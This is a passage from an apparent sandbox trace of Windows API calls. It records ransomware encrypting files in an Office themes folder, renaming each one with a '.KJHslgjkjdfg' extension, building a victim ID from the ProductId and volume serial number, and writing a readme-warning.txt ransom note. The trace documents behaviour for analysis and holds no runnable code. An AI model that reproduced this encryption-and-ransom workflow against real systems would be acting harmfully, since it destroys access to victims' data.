shared\\themes14\\sonora\\preview.gif.kjhslgjkjdfg")) returned 1 [0149.879] CloseHandle (hObject=0x118) returned 1 [0149.879] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28535900, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x28535900, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xd59f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SONORA.ELM", cAlternateFileName="")) returned 1 [0149.879] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0149.881] GetProcessHeap () returned 0x2a0000 [0149.881] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0149.881] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0149.881] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0149.881] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x1, lpOverlapped=0x0) returned 1 [0149.883] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0149.883] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0149.883] GetProcessHeap () returned 0x2a0000 [0149.883] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0149.883] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30) returned 1 [0149.883] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0149.883] WriteFile (in: hFile=0x118, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290efe8*=0x30, lpOverlapped=0x0) returned 1 [0149.883] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0149.883] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0149.883] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0149.884] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0149.884] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0149.884] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0149.885] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0149.885] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.885] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xd59f, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0xd59f, lpOverlapped=0x0) returned 1 [0149.886] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xd5a0, dwBufLen=0xd5a0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xd5a0) returned 1 [0149.887] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.887] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xd5a0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0xd5a0, lpOverlapped=0x0) returned 1 [0149.888] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0149.888] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xd664, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.888] SetEndOfFile (hFile=0x118) returned 1 [0149.891] GetProcessHeap () returned 0x2a0000 [0149.891] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0149.891] GetProcessHeap () returned 0x2a0000 [0149.891] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0149.891] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.elm.kjhslgjkjdfg")) returned 1 [0149.894] CloseHandle (hObject=0x118) returned 1 [0149.894] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SONORA.INF", cAlternateFileName="")) returned 1 [0149.894] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0149.894] GetProcessHeap () returned 0x2a0000 [0149.894] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0149.894] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0149.894] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0149.894] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xc, lpOverlapped=0x0) returned 1 [0149.896] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0149.896] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0149.896] GetProcessHeap () returned 0x2a0000 [0149.896] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0149.896] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30) returned 1 [0149.896] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0149.896] WriteFile (in: hFile=0x118, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290efe8*=0x30, lpOverlapped=0x0) returned 1 [0149.896] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0149.896] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0149.897] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0149.897] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0149.897] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0149.897] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0149.897] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0149.897] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.897] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1e4, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x1e4, lpOverlapped=0x0) returned 1 [0149.897] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x1f0, dwBufLen=0x1f0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x1f0) returned 1 [0149.897] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.897] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x1f0, lpOverlapped=0x0) returned 1 [0149.897] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0149.897] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x2b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.897] SetEndOfFile (hFile=0x118) returned 1 [0149.900] GetProcessHeap () returned 0x2a0000 [0149.900] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0149.900] GetProcessHeap () returned 0x2a0000 [0149.900] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0149.900] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.inf.kjhslgjkjdfg")) returned 1 [0149.905] CloseHandle (hObject=0x118) returned 1 [0149.905] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5534, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0149.905] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0149.905] GetProcessHeap () returned 0x2a0000 [0149.905] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0149.905] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0149.905] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0149.906] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xc, lpOverlapped=0x0) returned 1 [0149.910] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0149.910] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0149.910] GetProcessHeap () returned 0x2a0000 [0149.910] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0149.911] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0149.911] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0149.911] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0149.911] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0149.911] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0149.911] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0149.911] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0149.911] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0149.911] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0149.911] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0149.911] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.911] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5534, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x5534, lpOverlapped=0x0) returned 1 [0149.915] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x5540, dwBufLen=0x5540 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x5540) returned 1 [0149.915] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.915] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5540, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x5540, lpOverlapped=0x0) returned 1 [0149.915] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0149.915] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x5614, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.916] SetEndOfFile (hFile=0x118) returned 1 [0149.918] GetProcessHeap () returned 0x2a0000 [0149.918] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0149.918] GetProcessHeap () returned 0x2a0000 [0149.918] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0149.919] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0149.920] CloseHandle (hObject=0x118) returned 1 [0149.920] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5534, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0149.920] GetProcessHeap () returned 0x2a0000 [0149.920] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0149.920] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0149.920] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290ee20 | out: pbData=0x2bf570, pdwDataLen=0x290ee20) returned 1 [0149.920] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0149.920] GetProcessHeap () returned 0x2a0000 [0149.920] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0149.920] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0149.920] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290ee20 | out: pbData=0x2bf5b8, pdwDataLen=0x290ee20) returned 1 [0149.920] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0149.920] GetProcessHeap () returned 0x2a0000 [0149.920] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f6728 [0149.920] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0149.920] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f6728, pdwDataLen=0x290ee20 | out: pbData=0x2f6728, pdwDataLen=0x290ee20) returned 1 [0149.920] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0149.921] GetProcessHeap () returned 0x2a0000 [0149.921] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0149.921] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0149.921] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ea00 | out: pbData=0x2bf528, pdwDataLen=0x290ea00) returned 1 [0149.921] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0149.921] GetProcessHeap () returned 0x2a0000 [0149.921] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0149.921] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0149.921] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ea00 | out: pbData=0x2c1640, pdwDataLen=0x290ea00) returned 1 [0149.921] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0149.921] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e9fc | out: phkResult=0x290e9fc*=0x118) returned 0x0 [0149.921] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ea08, lpcbData=0x290ea04*=0x400 | out: lpType=0x0, lpData=0x290ea08*=0x30, lpcbData=0x290ea04*=0x18) returned 0x0 [0149.921] RegCloseKey (hKey=0x118) returned 0x0 [0149.921] GetProcessHeap () returned 0x2a0000 [0149.921] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0149.921] GetProcessHeap () returned 0x2a0000 [0149.921] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0149.921] GetProcessHeap () returned 0x2a0000 [0149.921] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0149.922] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0149.922] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e7d4 | out: pbData=0x2c1640, pdwDataLen=0x290e7d4) returned 1 [0149.922] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0149.922] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0149.922] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0149.922] GetProcessHeap () returned 0x2a0000 [0149.922] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0149.922] wsprintfA (in: param_1=0x290ea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0149.922] wsprintfA (in: param_1=0x290ee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0149.922] GetProcessHeap () returned 0x2a0000 [0149.922] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f6af0 [0149.922] wsprintfW (in: param_1=0x290ddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\readme-warning.txt") returned 81 [0149.922] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0149.923] WriteFile (in: hFile=0x118, lpBuffer=0x2f6af0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290ddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f6af0*, lpNumberOfBytesWritten=0x290ddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0149.924] CloseHandle (hObject=0x118) returned 1 [0149.924] GetProcessHeap () returned 0x2a0000 [0149.924] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6728 | out: hHeap=0x2a0000) returned 1 [0149.924] GetProcessHeap () returned 0x2a0000 [0149.924] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6af0 | out: hHeap=0x2a0000) returned 1 [0149.924] GetProcessHeap () returned 0x2a0000 [0149.924] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 